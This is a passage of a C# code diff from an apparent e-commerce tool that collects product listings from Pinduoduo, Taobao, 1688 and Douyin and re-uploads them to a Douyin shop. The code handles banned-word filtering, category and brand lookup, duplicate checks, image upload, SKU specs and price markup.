ProductCollectBase(); + t.FromType = t.FromType.Replace("\"", ""); + if (t.FromType.Contains("搜款网") && t.FromId > 10) + { + char[] idc = t.FromId.ToString().ToCharArray(); + if (t.FromId.ToString().Length < t.TolerantFormId.Length) + idc = t.TolerantFormId.ToString().ToCharArray(); + string ld = idc[idc.Length - 1].ToString(); + for (int i = 1; i < idc.Length - 1; i++) + { + ld += idc[i]; + } + ld += idc[0]; + t.FromIdBak = t.FromId; + t.FromId = long.Parse(ld); + p.from_site_id = 2; + } + + //if (t.pcb != null) + //{ + // if (t.pcb.IsPreSale) + // { + // t.Message = "预售商品,跳过"; + // noticeHandler("采集失败,跳过:" + t.FromId + ":" + t.Message); + // return t; + // } + //} + //else + if (t.FromType == "拼多多" || t.FromType == "内部数据" || t.FromType == "搜款网" || t.FromType == "搜款网净化") + { + retryTokenGet: + if (!IsUseProxyCollectUp) + { + //while (PinduoduoProductCollect.PinDuoDuoTokenList.Where(to => to.ProductDetailStatus == 1).ToList().Count == 0) + //{ + // IsNoToken = true; + // Thread.Sleep(500); + //} + IsNoToken = false; + } + PinduoduoProductCollect pp = new PinduoduoProductCollect(Name, t, true); + pp.Get(); + if (pp.pb.before_price == -1) + { + pp.Get(); + } + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(t.FromId)) + { + if (pp.IsAdvance || pp.pb.IsPreSale) + { + t.Message = "预售商品,跳过"; + } + else if (!pp.OnSale) + { + t.Message = pp.message; + } + else + { + t.Message = pp.message; // "IP或买手号被限制,请更换IP或检查买手号是否能正常浏览商品"; + if (pp.IsNoToken) + { + goto retryTokenGet; + } + } + if (string.IsNullOrEmpty(t.Message)) + t.Message = "采集失败,跳过"; + noticeHandler("采集失败,跳过:" + t.FromId + ":" + t.Message); + return t; + } + } + else if (t.FromType == "抖音") + { + try + { + p.from_id = t.FromId; + CollectDoyin cd = new CollectDoyin(p); + cd.GetProduct(); + if (!cd.GetSuccess) + { + t.Message = "商品采集失败"; + noticeHandler("采集失败,跳过:" + t.FromId + ":" + t.Message); + return t; + } + if (cd.Product?.IsOnSale == false) + { + t.Message = "商品已下架"; + noticeHandler("商品已下架,跳过:" + t.FromId + ":" + t.Message); + return t; + } + } + catch (Exception ex) + { + LogSave.AddFile(t.FromId + "抖音商品采集错误" + ex.Message); + noticeHandler(t.FromId + ":抖音商品采集错误" + ex.Message); + t.Message = "抖音商品采集错误"; + return t; + } + } + else if (t.FromType == "阿里巴巴") + { + p.from_url = "https://detail.1688.com/offer/" + t.FromId + ".html"; + p.from_id = t.FromId; + AlibabaProductGet alibbProInfo = new AlibabaProductGet(p); + alibbProInfo.Get(); + //GetCatIdForPdd(proInfo); + //finalProductInfo = alibbProInfo.Product; + } + else // 淘宝 + { + p.from_url = "https://item.taobao.com/item.htm?id=" + t.FromId; + p.from_id = t.FromId; + TaobaoMobileCollect tm = new TaobaoMobileCollect(p); + tm.Pinduoduo = true; + tm.Name = Name; + tm.Get(); + if (!tm.GetSuccess) + { + t.Message = "商品采集失败"; + if (tm.IsDown) + t.Message = "商品已下架"; + if (!string.IsNullOrEmpty(tm.pbMessage)) + t.Message = tm.pbMessage; + if (tm.hasCookies) + t.Message = "请登录淘宝,获取数据"; + noticeHandler("采集失败,跳过:" + t.FromId + ":" + t.Message); + return t; + } + if (tm.IsPreSale || tm.Product.IsPreSale) + { + t.Message = "预售商品,跳过"; + noticeHandler("采集失败,跳过:" + t.FromId + ":" + t.Message); + return t; + } + + } + if (t.pcb != null) + { + // 从服务端获取产品数据库商品的详情 + if (t.pcb.isFission && t.pcb.Images.Count == 0) + { + var fissionTemp = new FissionDataBaseBLL().GetFessionDetailById(t.pcb.fissionDataBaseId.ParseToInt()); + if (fissionTemp == null) + { + Thread.Sleep(1000); + fissionTemp = new FissionDataBaseBLL().GetFessionDetailById(t.pcb.fissionDataBaseId.ParseToInt()); + } + if (fissionTemp == null || string.IsNullOrEmpty(fissionTemp.main_pic)) + { + t.Message = "产品数据库产品已失效"; + return t; + } + + try + { + t.pcb.name = fissionTemp.fession_title; + t.pcb.content = fissionTemp.container_info?.Replace("'>", "'>").Replace("new_group", "
    "); + t.pcb.Images = fissionTemp.main_pic == null ? new List() : fissionTemp.main_pic.Split(';').ToList(); + //Fiss.prop_pic = fissionTemp.prop_pic; + t.pcb.Props = JsonHelper.DeserializeJsonToList(fissionTemp.props); + //Fiss.mainWord = fissionTemp.mainWord; + //Fiss.viceword = fissionTemp.viceword; + t.pcb.Prop = JsonHelper.DeserializeJsonToList(fissionTemp.prop); + t.pcb.SkuMaps = JsonHelper.DeserializeJsonToList(fissionTemp.skus); + //Fiss.from_shop_name = fissionTemp.from_shop_name; + if (fissionTemp.qualifications != null) + t.pcb.qualifications = JsonHelper.DeserializeJsonToList(fissionTemp.qualifications); + } + catch (Exception ex) + { + t.Message = "产品数据库产品格式错误"; + return t; + } + } + + // 因分词库未保存店铺名称,故从验证上家是否下架的调用中获取上家店铺名称 + var from_shop_name = p.from_shop_name; + + p = t.pcb; + p.from_shop_name = from_shop_name; + + // 标题分词 + if (t.pcb.fission_names?.Count > 0 == true) + { + p.name = t.pcb.fission_names[Randomx.GetId(t.pcb.fission_names.Count)]; + } + } + else if (t.FromType == "阿里巴巴") + { + } + else if (t.FromType == "抖音" && CollectDoyin.ProductTemp.ContainsKey(t.FromId)) + p = CollectDoyin.ProductTemp[t.FromId].Clone(); + else if (TaobaoMobileCollect.ProductTemp.ContainsKey(t.FromId)) + p = TaobaoMobileCollect.ProductTemp[t.FromId].Clone(); + else + { + t.Message = "商品或已下架"; + if (!string.IsNullOrEmpty(p.message)) + t.Message = p.message; + noticeHandler("采集失败,跳过:" + t.FromId + ":" + t.Message); + return t; + } + if (!(p.Images?.Count() >= 3)) + { + t.Message = "主图小于3张平台限制上传"; + noticeHandler("主图小于3张平台限制上传:" + t.FromId + ":" + t.Message); + return t; + } + if (isLitterSku && p.SkuMaps.Count < 3) + { + t.Message = "低于3个sku的商品不上传"; + noticeHandler("低于3个sku的商品不上传:" + t.FromId + ":" + t.Message); + return t; + } + if (JustFree && p.express_price > 0) + { + t.Message = "跳过非包邮商品"; + noticeHandler("跳过非包邮商品:" + t.FromId + ":" + t.Message); + return t; + } + + // 抖店不支持标题换行符、tab等进行替换 + p.name = p.name.Replace("\\n", " ").Replace("\n", " ").Replace("\\t", " "); + // 抖店不支持的特殊符号替换 + foreach (var sku in p.SkuMaps) + { + sku.name = sku.name.Replace("\\", ""); + sku.nameLite = sku.nameLite.Replace("\\", ""); + } + foreach (var pr in p.Props) + { + foreach (var pv in pr.Values) + { + pv.name = pv.name.Replace("\\", ""); + } + } + // 消减规格数超3的sku属性 + for (int i = p.Props.Count - 1; i >= 0; i--) + { + if (p.Props.Count <= 3) + break; + + if (p.Props[i].Values.Any(v => !string.IsNullOrEmpty(v.image))) + continue; + + foreach (var pv in p.Props[i].Values) + { + foreach (var sku in p.SkuMaps) + { + sku.name = (";" + sku.name.Trim(';') + ";").Replace(";" + p.Props[i].name + ":" + pv.name + ";", ";").Trim(';'); + sku.nameLite = (";" + sku.nameLite.Trim(';') + ";").Replace(";" + pv.name + ";", ";").Trim(';'); + } + } + p.Props.Remove(p.Props[i]); + } + p.SkuMaps = p.SkuMaps.DistinctBy(s => s.name).ToList(); + + bool ishas = false; + string bankname = ""; + // 去除标题违规词 + if (IsFilterRemoveTitleWord) + { + for (int i = 0; i < FilterTitleWordList.Count; i++) + { + p.name = p.name.Replace(FilterTitleWordList[i], ""); + } + } + // 过滤标题 + if (IsFilterTitleWord) + { + for (int i = 0; i < FilterTitleWordList.Count; i++) + { + if (p.name.Contains(FilterTitleWordList[i])) + { + ishas = true; + bankname = FilterTitleWordList[i]; + break; + } + } + if (ishas) + { + t.Message = "标题发现违规词(" + bankname + "),跳过"; + LogSave.Add(Name, "上货失败,标题发现违规词,跳过:" + t.FromId + ":" + t.Message); + Thread.Sleep(1000); + return t; + } + } + // 过滤sku + if (IsFilterSkuWord) + { + for (int i = 0; i < FilterSkuWordList.Count; i++) + { + if (p.SkuMaps.Any(s => s.name.Contains(FilterSkuWordList[i]))) + { + ishas = true; + bankname = FilterSkuWordList[i]; + break; + } + } + if (ishas) + { + t.Message = "sku发现违规词(" + bankname + "),跳过"; + LogSave.Add(Name, "上货失败,sku发现违规词,跳过:" + t.FromId + ":" + t.Message); + Thread.Sleep(1000); + return t; + } + } + // 过滤品牌 + if (IsFilterBrandWord) + { + for (int i = 0; i < FilterBrandWordList.Count; i++) + { + if (p.Prop.Any(pr => pr.Key == "品牌" && pr.Value.Contains(FilterBrandWordList[i]))) + { + ishas = true; + bankname = FilterBrandWordList[i]; + break; + } + } + if (ishas) + { + t.Message = "品牌发现违规词(" + bankname + "),跳过"; + LogSave.Add(Name, "上货失败,品牌发现违规词,跳过:" + t.FromId + ":" + t.Message); + Thread.Sleep(1000); + return t; + } + } + // 过滤天猫超市 + if (IsFilterTMChaoShi) + { + if (p.from_shop_name == "天猫超市") + { + t.Message = "天猫超市商品,跳过"; + LogSave.Add(Name, "上货失败,天猫超市商品,跳过:" + t.FromId + ":" + t.Message); + Thread.Sleep(1000); + return t; + } + } + + if (!string.IsNullOrEmpty(p.logisticsTime) && isLogistics) + { + string daystr = BaseRegex.GetMatchRegexString(ref p.logisticsTime, @"([\d]+)"); + int day = 0; + int.TryParse(daystr, out day); + if (p.logisticsTime.Contains("天")) + day = day * 24; + if (day / 24 > 0) + day = day / 24; + if (p.logisticsTime.Contains("今天")) + day = 1; + if (p.logisticsTime.Contains("明天")) + day = 2; + if (p.logisticsTime.Contains("后天")) + day = 3; + int paraDay = isLogistHour / 24 + 1; + if ((p.logisticsTime.Contains("预售") || day >= paraDay) + && isLogistics) + { + t.Message = "跳过发货超过" + isLogistHour + "小时商品或预售商品"; + noticeHandler("跳过发货超过" + isLogistHour + "小时商品或预售商品:" + t.FromId + ":" + t.Message); + return t; + } + } + + // 去除属性、sku的重复名称(已知拼多多商品可能会有相同sku) + foreach (var prop in p.Props) + { + prop.Values = prop.Values.DistinctBy(kv => kv.name).ToList(); + } + p.SkuMaps = p.SkuMaps.DistinctBy(s => s.name).ToList(); + + // 去除sku违规词,后续可放开作为可选参数是否去除 + foreach (var prop in p.Props) + { + prop.Values = prop.Values.Where(kv => !ViolationSkuWords.Any(v => kv.name.Contains(v))).ToList(); + } + p.SkuMaps = p.SkuMaps.Where(s => !ViolationSkuWords.Any(v => s.name.Contains(v))).ToList(); + + Dictionary dictionary = new Dictionary(); + + //0-普通,3-虚拟,6玉石闪购,7云闪购 商品类型 + dictionary.Add("product_type", "0"); + + long catId = 0; + string msg = ""; + string fullCatInfo = ""; + if (p.isFission && p.cat_id != 0) + catId = p.cat_id; + else if (t.FromType == "抖音" && p.cat_id != 0) + catId = p.cat_id; + else + catId = GetCat(p.name, out msg, out fullCatInfo, Shop); + if (catId == 0) + { + t.Message = "提交失败,类目获取失败" + (string.IsNullOrEmpty(msg) ? "" : "," + msg); + t.ShopName = Shop.ShopAccount; + return t; + } + // 叶子类目ID + dictionary.Add("category_leaf_id", catId.ToString()); // 20171 22386 + + // 记录一级类目名称供需要一级类目的操作使用 + string first_name = ""; + if (!string.IsNullOrEmpty(fullCatInfo)) + { + first_name = BaseRegex.GetStringJson(ref fullCatInfo, "first_name"); + } + else + { + first_name = p.main_cat_name; + } + + // 外部产品Id + //string from_name = ""; + //if (t.FromType == "拼多多") + // from_name = "pd-"; + //else if (t.FromType == "淘宝") + // from_name = "tb-"; + //else if (t.FromType == "阿里") + // from_name = "al-"; + //else if (t.FromType == "京喜") + // from_name = "jx-"; + //else if (t.FromType == "抖音") + // from_name = "dy-"; + //dictionary["outer_product_id"] = from_name + p.from_id.ToString() + "-" + Randomx.GetId(10000, 99999); + + //3496306606084372244 + if (p.from_site_id == 7 || p.from_site_id.ToString().Length > 15) + dictionary["outer_product_id"] = p.from_id.ToString(); + else + dictionary["outer_product_id"] = 9000 + p.from_site_id + p.from_id.ToString(); + + var apiGetOutIdExist = new DouyinApi(Shop); + // 老上货数据判断是否重复铺货 + var shopItems = GlobalConfig.SameProductCheckParamList.Find(sit => sit.ShopId == Shop.ShopAccountId); + var productIdExist = shopItems?.ShopSamePrpductItemList.Find(it => it.outer_product_id.Contains(p.from_id.ToString())); + if (productIdExist != null) + apiGetOutIdExist.JsonData.Add("product_id", productIdExist.product_id.ToString()); + // 20220425之后的新商品判断是否重复铺货 + else + apiGetOutIdExist.JsonData.Add("out_product_id", dictionary["outer_product_id"]); + var getOutIdExistResult = apiGetOutIdExist.GetProductDetail(); + if (getOutIdExistResult != null && getOutIdExistResult.Contains("\"code\":10000")) + { + var status = JObject.Parse(getOutIdExistResult)["data"]?["status"]; + var checkStatus = BaseRegex.GetIntJson(ref getOutIdExistResult, "check_status"); + var productId = BaseRegex.GetLongJson(ref getOutIdExistResult, "product_id"); + + if (status != null && status.ParseToInt() == 2) // 回收站商品直接跳过不处理 + { + // do nothing + } + else if (checkStatus == 4) // 审核驳回商品重新上传 + { + var pid = BaseRegex.GetLongJson(ref getOutIdExistResult, "product_id"); + DouyinApi dApi = new DouyinApi(Shop); + dApi.JsonData = new Dictionary(); + dApi.JsonData["product_id"] = pid.ToString(); + var result = dApi.DeleteProduct(); + } + else if (checkStatus == 5) // 封禁商品拦截 + { + t.Message = "店铺已上传过此商品且被封禁,请勿再次上传"; + t.ShopName = Shop.ShopAccount; + return t; + } + else // 重复铺货商品拦截 + { + t.Message = "店铺已上传过此商品,请勿重复铺货"; + t.ShopName = Shop.ShopAccount; + t.GoodsId = productId; + return t; + } + } + + // 启用全局资质和属性,按指定的资质上传 + if (IsUseGlobalQualifications) + { + if (sGlobalQualifications.Count > 0) + { + if (p.qualifications == null) + { + p.qualifications = new List(); + } + foreach (var qu in sGlobalQualifications) + { + p.qualifications.RemoveAll(q => q.quality_name == qu.quality_name); + p.qualifications.Add(qu); + } + } + + foreach (var pr in sGlobalPropList) + { + if (pr.Key == "品牌") + { + p.Prop.RemoveAll(pr1 => pr1.Key == "品牌" || pr1.Key == "品牌编号"); + p.Prop.Add(pr); + + if (pr.Value == "无品牌") + p.Prop.Add(new KeyValueBase("品牌编号", "596120136")); + else + { + var apiBrand = new DouyinApi(Shop); + apiBrand.JsonData["category_id"] = catId.ToString(); + var textQuery = pr.Value.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).LastOrDefault(); + apiBrand.JsonData["query"] = textQuery == null ? "" : textQuery; // "JIXIN/积鑫"; + var brandResult = apiBrand.cateBrandList(); + var brand_id = BaseRegex.GetLongJson(ref brandResult, "brand_id"); + var brand_name_cn = BaseRegex.GetStringJson(ref brandResult, "name_cn"); + var brand_name_en = BaseRegex.GetStringJson(ref brandResult, "name_en"); + if ((brand_name_cn == textQuery || brand_name_en == textQuery) && brand_id > 0) + p.Prop.Add(new KeyValueBase("品牌编号", brand_id.ToString())); + } + } + else + { + p.Prop.RemoveAll(pr1 => pr1.Key == pr.Key); + p.Prop.Add(pr); + } + } + } + + // 获取尺码表 + if (first_name.Contains("女装") || first_name.Contains("男装") || first_name.Contains("内衣裤袜") || first_name.Contains("童装/婴儿装/亲子装") || + first_name.Contains("女鞋") || first_name.Contains("男鞋")) + { + string urlComponent = "https://fxg.jinritemai.com/product/tproduct/getAvailableTemplate?category_id=" + catId + "&appid=1&__token=" + Shop.ShopToken + + "&_bid=ffa_goods&_lid=847509501715&_signature=" + Shop.Signature + ""; + string refereComponent = "https://fxg.jinritemai.com/ffa/g/create"; + string htmlComponent = GetPostTaobaoHtml.UploadTaobao(urlComponent, refereComponent, true, Shop.Cookies); + if (htmlComponent.Contains("\"available_component_template_info\":[]")) + { + t.Message = "请去店铺后台创建产品尺码表!"; + t.ShopName = Shop.ShopAccount; + return t; + } + var templateId = BaseRegex.GetStringJson(ref htmlComponent, "template_id"); + if (!string.IsNullOrEmpty(templateId)) + { + dictionary["size_info_template_id"] = templateId; + } + } + + //商品属性"product_format": "货号|8888^上市年份季节|2018年秋季^", 属性名称|属性值 之间用|分隔, 多组之间用^分开 + CatePropertyResponseInfo propResult = new UploadPropertyBLL().getCatePropertyInterfaceV2(catId.ToString(), Shop); + if (Shop.ApiAuthStatus != "授权成功") + { + t.Message = "授权过期,请重新授权!"; + t.ShopName = Shop.ShopAccount; + return t; + } + for (int i = 0; i < 3 && propResult.message != "success"; i++) + { + Thread.Sleep(500); + propResult = new UploadPropertyBLL().getCatePropertyInterfaceV2(catId.ToString(), Shop); + } + if (propResult.message != "success") + { + t.Message = "类目属性规则获取失败"; + t.ShopName = Shop.ShopAccount; + return t; + } + + string property = new UploadPropertyBLL().GetCatePropertyAnalysis(propResult, Shop, p); + if (!string.IsNullOrEmpty(property)) + { + //dictionary.Add("product_format", property); + dictionary.Add("product_format_new", property); + } + else + { + t.Message = "商品属性生成失败"; + t.ShopName = Shop.ShopAccount; + return t; + } + + //dictionary.Add("product_format_new", property.Replace("\"","\\\""));//"{\\\"1687\\\":[{\\\"value\\\":2147202834,\\\"name\\\":\\\"女汉将\\\"}]}" + //商品名称 + if (!string.IsNullOrEmpty(t.Titlte) && fixName == "前缀") + p.name = t.Titlte + p.name; + if (!string.IsNullOrEmpty(t.Titlte) && fixName == "后缀") + p.name = p.name + t.Titlte; + if (BaseClass.GetCharLength(p.name) > 60) + p.name = BaseClass.SubCharLength(p.name, 60); + // 商品如果生鲜必须包含净含量 + if ((p.main_cat_name.Contains("水果") || p.main_cat_name.Contains("生鲜")) && !p.name.Contains("g") && !p.name.Contains("斤") && !p.name.Contains("克")) + { + if (BaseClass.GetCharLength(p.name) > 55) + p.name = BaseClass.SubCharLength(p.name, 55); + p.name = p.name + "1000g"; + } + dictionary.Add("name", p.name); + + if (Shop.LstBrand == null) + { + Shop.LstBrand = GetBrandList(Shop); + } + //DouyinApi apix = new DouyinApi(Shop); + //apix.JsonData["category_id"] = p.cat_id.ToString(); + //apix.JsonData["query"] = "JIXIN/积鑫"; + //var rx = apix.cateBrandList(); + if (Shop.LstBrand?.Count > 0) + { + if (Shop.ShopAccount == "权益服务齐全的专营店") + { + dictionary.Add("brand_id", "2122428529"); + } + else + { + dictionary.Add("brand_id", Shop.LstBrand[0].id.ToString()); + } + } + else + dictionary.Add("standard_brand_id", "596120136"); // 对应产品后台无品牌选项 + + if (p.Prop.Any(pr => pr.Key == "品牌编号")) + dictionary["standard_brand_id"] = p.Prop.FirstOrDefault(pr => pr.Key == "品牌编号").Value; // 根据商品编辑里的指定品牌设置品牌编号 + + if (!string.IsNullOrEmpty(productBrand) && (Shop.ShopAccount.Contains("旗舰店") || Shop.ShopAccount.Contains("专营店") || Shop.ShopAccount.Contains("专卖店"))) + { + var brandApi = new DouyinApi(Shop); + brandApi.JsonData["category_id"] = catId.ToString(); + var textQuery = productBrand; + brandApi.JsonData["query"] = textQuery; + var result = brandApi.cateBrandList(); + if (!result.Contains("brand_list")) + { + Thread.Sleep(1000); + result = brandApi.cateBrandList(); + } + try + { + var jArr = JObject.Parse(result)["data"]["brand_list"] as JArray; + if (jArr == null) + jArr = JObject.Parse(result)["data"]["auth_brand_list"] as JArray; + var brand_cn = jArr[0]["name_cn"].ToString(); + var brand_en = jArr[0]["name_en"].ToString(); + var brand_id = jArr[0]["brand_id"].ParseToLong(); + if (brand_cn == textQuery || brand_en == textQuery) + { + dictionary["standard_brand_id"] = brand_id.ToString(); + } + else + { + t.Message = "指定品牌不存在"; + t.ShopName = Shop.ShopAccount; + return t; + } + } + catch (Exception ex) + { + t.Message = "指定品牌获取失败"; + t.ShopName = Shop.ShopAccount; + return t; + } + } + + string searchFolderResult = SearchFolder(Shop); + if (!searchFolderResult.Contains("\"code\":10000")) + searchFolderResult = SearchFolder(Shop); + int total = BaseRegex.GetIntJson(ref searchFolderResult, "total"); + string folderId = BaseRegex.GetStringJson(ref searchFolderResult, "folder_id"); + if (total == 0 || string.IsNullOrEmpty(folderId)) + { + string folder = CreateImageFolder(Shop); + folderId = BaseRegex.GetStringJson(ref folder, "folder_id"); + } + + // 单张图片上传 + //string tid = Md5Base.GetMd5(p.name).Substring(8, 16) + Randomx.GetId(2000); + //string byte_url = UploadImageSync(Shop, folderId, "http://gw.alicdn.com/bao/uploaded/i4/O1CN010Uo1SF22kPm5WRwkD_!!0-rate.jpg", tid); + // 主轮播图 主图 + if (p.Images == null || p.Images.Count == 0 || string.IsNullOrEmpty(p.Images[0])) + { + } + noticeHandler(p.from_id + ":正在上传轮播图片"); + Thread.Sleep(Randomx.GetId(500, 1500) + UploadProductBLL.ids.Count * 100); + + // 删除指定主图 + if (IsDelMainPic) + { + for (int i = 1; i <= p.Images.Count; i++) + { + if (i == DelMainPicId) + { + p.Images.RemoveAt(i - 1); + break; + } + } + if (!(p.Images?.Count() >= 3)) + { + t.Message = "主图小于3张平台限制上传"; + noticeHandler("主图小于3张平台限制上传:" + t.FromId + ":" + t.Message); + return t; + } + } + + string mainImages = ""; + int picCount = 0; + var images = p.Images.Distinct().ToList(); + //主图大于十张,随机挑选其中十张 + if (images.Count > 10) + GetTenImages(images); + if (isRandomMainImage) + images = GetRandomMainImage(string.Join("|", images)).Split(new string[] { "|" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + string imagePic = ""; + List request_id_List = new List(); + for (int i = 0; i < images.Count; i++) + { + string urlImage = images[i]; + if (!urlImage.Contains("http")) + { + urlImage = "https:" + images[i]; + } + + if (!string.IsNullOrEmpty(imagePic)) + { + imagePic += ","; + } + string tid = Md5Base.GetMd5(p.name).Substring(8, 16) + Randomx.GetId(2000); + long rquest_id = Randomx.GetId(2000000000); + request_id_List.Add(rquest_id); + imagePic += "{\\\"request_id\\\":" + rquest_id + ",\\\"folder_id\\\":\\\"" + folderId + + "\\\",\\\"material_type\\\":\\\"photo\\\",\\\"name\\\":\\\"" + tid + + "\\\",\\\"url\\\":\\\"" + urlImage + "\\\"}"; + + if (i >= 9) + break; + } + int imageMapsRetryTimes = 0; + imageMapsRetry: + string imageMaps = BatchUploadImageSync(Shop, "[" + imagePic + "]"); + if (imageMaps.Contains("access_token已过期")) + { + t.Message = "授权过期,请重新授权!"; + t.ShopName = Shop.ShopAccount; + return t; + } + if (!imageMaps.Contains("\"code\":10000")) + imageMaps = BatchUploadImageSync(Shop, "[" + imagePic + "]"); + if (imageMaps != null && imageMaps.Contains("素材库容量不足")) + { + if (imageMapsRetryTimes < 5) + { + var folderResult = new UploadMaterialBLL().DelOldestApiMaterialFolder(Shop); + if (folderResult) + { + imageMapsRetryTimes++; + goto imageMapsRetry; + } + } + t.Message = "素材库容量不足"; + t.ShopName = Shop.ShopAccount; + return t; + } + var imageMapsObj = JsonHelper.JObjectParse(imageMaps)?["data"]; + if (imageMapsObj == null || imageMapsObj["success_map"] == null) + { + t.Message = "轮播图Json格式错误"; + t.ShopName = Shop.ShopAccount; + return t; + } + // 处理上传失败图片 + var failedMapStr = imageMapsObj["failed_map"]?.ToString(); + if (!string.IsNullOrEmpty(failedMapStr) && failedMapStr != "{}" && imageMapsRetryTimes < 5) + { + Thread.Sleep(1000); + imageMapsRetryTimes++; + goto imageMapsRetry; + } + + for (int i = 0; i < request_id_List.Count(); i++) + { + string urlImage = imageMapsObj["success_map"]?[request_id_List[i].ToString()]?["ByteUrl"]?.ToString(); + if (string.IsNullOrEmpty(urlImage)) + continue; + if (mainImages.Contains(urlImage)) + continue; + + picCount++; + if (mainImages.Trim() != "") + { + mainImages += "|"; + } + mainImages += urlImage; + + if (mainImages.Split('|').Count() > 4) + break; + } + //商品轮播图 + dictionary.Add("pic", mainImages); + + if (p.Props.Count == 0) + { + } + string specimg = p.Props[0].Values[0].image; + // 支付方式,0货到付款 1在线支付,2,货到付款+在线支付 + dictionary.Add("pay_type", "1"); + + // 规格属性等 + string specHtml = ""; + if (string.IsNullOrEmpty(specimg)) + { + for (int i = p.Props.Count - 1; i > -1; i--) + { + var pitem = p.Props[i]; + string proStr = pitem.name + "|"; + for (int j = 0; j < pitem.Values.Count; j++) + { + proStr += pitem.Values[j].name.Replace("|", " ").Replace("丨", " ").Replace("(", "(").Replace(")", ")").Replace(" ", "") + ","; + } + specHtml += proStr.Substring(0, proStr.Length - 1); + if (!string.IsNullOrEmpty(specHtml)) + { + specHtml += "^"; + } + } + } + else + { + for (int i = 0; i < p.Props.Count; i++) + { + var pitem = p.Props[i]; + string proStr = pitem.name + "|"; + for (int j = 0; j < pitem.Values.Count; j++) + { + proStr += pitem.Values[j].name.Replace("|", " ").Replace("丨", " ").Replace("\t", "").Replace("(", "(").Replace(")", ")").Replace(" ", "") + ","; + } + specHtml += proStr.Substring(0, proStr.Length - 1); + if (!string.IsNullOrEmpty(specHtml)) + { + specHtml += "^"; + } + } + } + + // 店铺通用规格 + + // 根据类目查询商品发布规则,如支持的发货模式、发货时效等 (时效sku) + bool isNormalRuleCanUse = true, isTimeSkuWithNormalCanUse = true, isTimeSkuCanUse = true; + string updateRule = ""; + try + { + updateRule = getProductUpdateRule(catId.ToString(), Shop); + var jObj = JObject.Parse(updateRule); + isNormalRuleCanUse = jObj["data"]?["fulfillment_rule"]?["normal_rule"]?["support"]?.ToString()?.ToLower() != "false"; + isTimeSkuWithNormalCanUse = jObj["data"]?["fulfillment_rule"]?["time_sku_presell_with_normal_rule"]?["support"]?.ToString()?.ToLower() == "true"; + isTimeSkuCanUse = jObj["data"]?["fulfillment_rule"]?["time_sku_pure_presell_rule"]?["support"]?.ToString()?.ToLower() == "true"; + } + catch + { + } + + var productDelayType = UploadProductBLL.delayType; + // 普通模式不支持发货但可以时效发货,则改为时效发货模式 + if (UploadProductBLL.delayType == "0" && isNormalRuleCanUse == false && isTimeSkuWithNormalCanUse == true) + { + productDelayType = "3"; + + newPreSendDayString = "48小时内发货"; + var specHtmlList = specHtml.Split(new string[] { "^" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + if (specHtmlList.Count == 3) + specHtmlList.RemoveAt(2); + specHtmlList.Add("发货时效|" + newPreSendDayString + "," + newPreTime); + specHtml = string.Join("^", specHtmlList); + } + // 现货+时效sku设置 + if (UploadProductBLL.delayType == "3") + { + newPreSendDayString = "48小时内发货"; + //if (UploadProductBLL.sendDay == "2") + // newPreSendDayString = "48小时内发货"; + var specHtmlList = specHtml.Split(new string[] { "^" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + if (specHtmlList.Count == 3) + specHtmlList.RemoveAt(2); + specHtmlList.Add("发货时效|" + newPreSendDayString + "," + newPreTime); + specHtml = string.Join("^", specHtmlList); + } + // 时效sku设置 + if (UploadProductBLL.delayType == "4") + { + var specHtmlList = specHtml.Split(new string[] { "^" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + if (specHtmlList.Count == 3) + specHtmlList.RemoveAt(2); + specHtmlList.Add("发货时效|" + newPreTime); + specHtml = string.Join("^", specHtmlList); + } + dictionary.Add("specs", specHtml); + // 运费模板id,传0表示包邮 + dictionary.Add("freight_id", Shop.ExpressId.ToString()); + decimal maxPriceNew = 0M; + decimal minPriceNew = 0M; + decimal expressPrcie = p.express_price; + SkuMapBase skuMin = null; + + decimal lastAddMultiple = UploadProductBLL.addMultiple; + decimal lastAddPostage = UploadProductBLL.postage; + // 勾选分裂上货价格随机计算 + if (isMultiUpload) + { + var deltaAddMultiple = addMultiple2 - addMultiple; + if (deltaAddMultiple > 0) + { + var deltaAddMultipleInt = (int)deltaAddMultiple; + lastAddMultiple = addMultiple + Randomx.GetId(deltaAddMultipleInt + 1); + } + var deltaAddPostage = postage2 - postage; + if (deltaAddPostage > 0) + { + var deltaAddPostageInt = (int)deltaAddPostage; + lastAddPostage = postage + Randomx.GetId(deltaAddPostageInt + 1); + } + } + // 数据净化数据勾选了单独加价的选项后 + if (p.is_changeprice.ToLower() == "true") + { + lastAddMultiple = p.addPricePercent; + lastAddPostage = p.baseAddPrice; + } + + if (p.SkuMaps.Count > 0) + { + maxPriceNew = WhitePriceBuild(p.SkuMaps[0].price, lastAddMultiple, lastAddPostage, expressPrcie); + minPriceNew = WhitePriceBuild(p.SkuMaps[0].price, lastAddMultiple, lastAddPostage, expressPrcie); + } + else + { + t.Message = "不支持上传无sku商品。"; + t.ShopName = Shop.ShopAccount; + return t; + } + if (isRoundPrice) + { + maxPriceNew = Math.Ceiling(maxPriceNew / 100m) * 100; + minPriceNew = Math.Ceiling(minPriceNew / 100m) * 100; + } + // 生成新的价格 + for (int i = 0; i < p.SkuMaps.Count; i++) + { + p.SkuMaps[i].new_price = WhitePriceBuild(p.SkuMaps[i].price, lastAddMultiple, lastAddPostage, expressPrcie); + if (isRoundPrice) + p.SkuMaps[i].new_price = (int)(Math.Ceiling(p.SkuMaps[i].new_price / 100m) * 100); + if (maxPriceNew < p.SkuMaps[i].new_price) + maxPriceNew = p.SkuMaps[i].new_price; + if (minPriceNew > p.SkuMaps[i].new_price) + minPriceNew = p.SkuMaps[i].new_price; + if (skuMin == null || skuMin.new_price > p.SkuMaps[i].new_price) + skuMin = p.SkuMaps[i]; + } + if (LowPriceSku && p.SkuMaps.Count > 1 && skuMin != null) + { + skuMin.new_price = (int)((skuMin.price * LowPricePercent + LowPriceAdd + expressPrcie) * 100); + if (isRoundPrice) + skuMin.new_price = (int)(Math.Ceiling(skuMin.new_price / 100m) * 100); + } + if (UploadProductBLL.isMinSkuStock) + { + skuMin.number = UploadProductBLL.minSkuStock; + } + + if (UploadProductBLL.isStockLessThan) + { + for (int i = 0; i < p.SkuMaps.Count; i++) + { + if (p.SkuMaps[i].number < UploadProductBLL.StockLessThanCount) + { + p.SkuMaps[i].number = 0; + } + } + } + List speclist = new List(); + for (int i = 0; i < p.SkuMaps.Count; i++) + { + var sku = p.SkuMaps[i]; + spec_prices spec_prices = new 